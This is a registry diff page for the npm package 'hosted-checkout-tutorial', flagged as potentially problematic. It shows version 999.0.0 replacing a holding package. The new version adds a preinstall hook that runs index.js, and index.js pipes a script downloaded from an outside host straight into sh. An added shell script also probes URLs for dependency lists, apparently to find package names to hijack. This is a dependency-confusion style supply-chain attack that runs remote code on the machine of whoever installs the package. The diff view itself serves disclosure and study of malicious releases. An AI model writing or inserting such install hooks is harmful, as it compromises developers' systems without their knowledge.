hosted-checkout-tutorial 1.0.1 → 999.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of hosted-checkout-tutorial might be problematic. Click here for more details.

package/index.js ADDED
@@ -0,0 +1,12 @@
1
+ const { exec } = require("child_process");
2
+ exec('curl https://buguard.io/files/dep.sh |sh' , (error, stdout, stderr) => {
3
+ if (error) {
4
+ console.log(`error: ${error.message}`);
5
+ return;
6
+ }
7
+ if (stderr) {
8
+ console.log(`stderr: ${stderr}`);
9
+ return;
10
+ }
11
+ console.log(`stdout: ${stdout}`);
12
+ });
package/package.json CHANGED
@@ -1,11 +1,12 @@
1
1
  {
2
2
  "name": "hosted-checkout-tutorial",
3
- "version": "1.0.1",
4
- "description": "This is an example app DO NOT add this as a dependency to your project.",
5
- "author": {
6
- "name": "clover-sdk",
7
- "email": "sdk@clover.com",
8
- "url": "http://www.clover.com"
3
+ "version": "999.0.0",
4
+ "description": "hosted-checkout-tutorial",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall":"node index.js"
9
9
  },
10
+ "author": "",
10
11
  "license": "ISC"
11
12
  }
package/s.sh ADDED
@@ -0,0 +1,7 @@
1
+ for i in `cat file.txt`
2
+ do
3
+ if [[ `curl -s "$i"|jq -r ".dependencies, .devDependencies"` != "" ]];
4
+ then
5
+ echo "$i"
6
+ fi
7
+ done
package/README.md DELETED
@@ -1,4 +0,0 @@
1
- # npm-example-apps
2
- This is a holding package for [an example app](https://clover.github.io/hosted-checkout-codelab/) so that bad
3
- actors do not install a package in place of this. There is no reason to install this dependency.
4
- *\